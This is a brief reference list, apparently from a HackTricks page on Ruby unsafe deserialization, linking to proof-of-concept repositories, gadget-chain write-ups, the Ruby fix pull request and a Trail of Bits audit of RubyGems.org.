- GitHub Security Lab PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
{{#include ../../banners/hacktricks-training.md}}